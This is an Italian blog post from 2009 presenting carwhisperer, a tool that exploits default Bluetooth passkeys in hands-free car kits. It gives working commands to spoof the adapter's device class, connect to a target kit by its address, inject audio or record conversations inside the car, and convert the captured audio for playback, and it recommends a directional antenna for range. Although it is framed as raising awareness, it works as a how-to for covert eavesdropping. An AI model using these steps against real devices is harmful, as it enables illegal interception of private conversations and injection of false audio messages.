Intercettazione ambientale bluetooth
by admin on Nov.26, 2009, under Hacking, Linux, Sicurezza
Ancora minore che nel caso delle reti wi-fi, se possibile, è la percezione, da parte degli utenti, della vulnerabilità della tecnologia bluetooth che più o meno silenziosamente li pervade, o, per essere più precisi, della “povera” implementazione che ne viene fatta da parte dei produttori.
Un esempio interessante è relativo all’intercettazione di conversazioni che avvengano all’interno dell’abitacolo di una automobile in cui sia presente un kit bluetooth viva-voce sprovvisto di display e tastiera, sfruttando la vulnerabilità derivante dall’ uso di passkeys standard.
Il tool software in grado di attuare questa minaccia si chiama carwhisperer, ed è stato sviluppato nell’ambito dell’omonimo progetto (carwhisperer project) rivolto proprio a sensibilizzare i produttori a mettere sul mercato prodotti con impostazioni più sicure.
Il progetto a sua volta ricade nel più ampio ambito delle attività di trifinite.org, una organizzazione no-profit che raggruppa una comunità di esperti i quali donano il loro tempo libero alla ricerca nell’ambito delle communicazioni wireless ed aree affini.
Tornando al software, è scaricabile come tarball compresso .
Una volta decompresso, ad esempio in /opt/, va compilato ed installato con la canonica sequenza
# make && make install
Dopodiche è opportuno variare la classe dell’adattatore bluetooth:
# hciconfig hci0 class
hci0: Type: USB
BD Address: 00:14:35:00:14:AC ACL MTU: 310:10 SCO MTU: 64:8
Class: 0x5a010c
Service Classes: Networking, Capturing, Object Transfer, Telephony
Device Class: Computer, Laptop
# hciconfig hci0 class 0x50204
# hciconfig hci0 class
hci0: Type: USB
BD Address: 00:14:35:00:14:AC ACL MTU: 310:10 SCO MTU: 64:8
Class: 0x050204
Service Classes: Positioning, Rendering
Device Class: Phone, Cellular
Lo script cw_scanner effettua ripetutamente la ricerca di devices Bluetooth visibili la cui classe corrisponde a quella di un auricolare o carkit Bluetooth. Una volta che sia stato trovato, lo script cw_scanner esegue il binario carwhisperer, il quale si connette al device trovato (sul canale RFCOMM 1).
La passkey richiesta per la connessione iniziale al device viene fornita dallo script cw_pin.pl. Lo script cw_pin.pl fornisce una passkey coerente con l’indirizzo Bluetooth che la richiede. A seconda dei primi tre bytes di tale indirizzo, che si riferiscono al produttore, differenti passkeys vengono restituite dallo script cw_pin.pl. Nella maggior parte dei casi la passkey standard predefinita per headsets e kit vivavoce è ‘0000′ o ‘1234′.
Una volta che la connessione sia stata stabilta con successo, il binario carwhisperer inizia ad inviare e a ricevere dal device. Ciò consente ad un attaccante di iniettare messaggi audio, tipo falsi annunci sul traffico, o di intercettare la conversazione fra gli occupanti dell’auto.
Se infatti non fosse ancora chiaro, quello che carwhisperer fa è una intercettazione ambientale, non una intercettazione telefonica.
Idealmente, carwhisperer andrebbe usato con un dongle modificato in modo da poter sfruttare una antenna direzionale esterna.
E’ comunque possibile verificarne il funzionamento a carico di un auricolare, se un kit veicolare non fosse disponibile.
Se l’indirizzo del device in questione fosse 00:0B:2E:59:BB:0C
# carwhisperer hci0 message.raw out.raw 00:0B:2E:59:BB:0C
Voice setting: 0x0060
RFCOMM channel connected
SCO audio channel connected (handle 47, mtu 64)
got: AT+VGS=15
ansewered: OK
.
.
.
[...]
Dopo aver convertito il file audio:
# sox -t raw -r 8000 -c 1 -s -b 16 out.raw -t wav -r 44100 -c 2 out.wav
Per ascoltarlo:
# aplay out.wav



